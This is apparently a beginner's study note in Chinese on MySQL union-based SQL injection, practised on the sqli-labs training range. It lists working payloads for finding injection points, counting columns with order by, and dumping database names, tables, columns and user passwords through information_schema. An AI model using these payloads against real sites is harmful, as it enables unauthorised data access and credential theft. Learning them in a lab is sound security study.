必要知识点:
1.在MySQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息
2.数据库汇总符号‘.’代表下一级,如果dxy.user表示dxy数据库下的user表名
3.information_schema.tables 记录所有表名信息的表
information_schema.column 记录所有列名信息的表
information_schema.schemata 记录所有数据库名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
group_concat()函数 将结果合并一行
操作流程:
判断注入点:
方法一:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
方法二:
更改参数值,观察网页状态,更改后不报错说明有问题,可以进一步尝试注入。
猜解列名数量:(字段数)
使用order by x 变化x去猜测出列数,order by 用来排序的
猜解回显位置:
在参数后面拼接上union select a b c ,注意 列数要和猜解到的列数相符。
信息收集:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
数据注入:
同数据库下,5.0以下的低版本可以暴力查询或结合读取查询,5.0以上的高版本可以通过information_schema有据查询。
跨站注入演示:
1.环境信息:
利用sqlilabs靶场进行注入
数据库信息,现通过security数据库(sqlilabs靶场的数据库)跨站获取pikachu数据库的数据
2.判断注入点
当id为1时有正常回显
更改id值,发现没有报错,猜测存在注入点
3.猜解字段数使用order by
判断字段数比4小
判断字段数为3,字段数要从大往小试
4.确定回显位置
将id值改为0使原本的查询语句失效,再在后面拼接测试语句,看到2和3的回显位置
5.进行信息收集
获取数据库版本号、用户名
获取数据库操作系统、用户名
6.这里已知了数据库版本5.0以上所以可以利用information_schema数据库,用户为root说明可以进行跨库查询。
跨库查询及应用思路:
获取所有数据库名:union select 1,group_concat(schema_name),3 from information_schema.schemata
获取pikachu数据库中的表名信息:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
获取pikachu数据库中users表的列名信息:union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
查询pikachu数据库中users表中username、password信息:union select 1,group_concat(username),group_concat(password) from pikachu.users
st小白学习中,分享一下MySQL注入的思路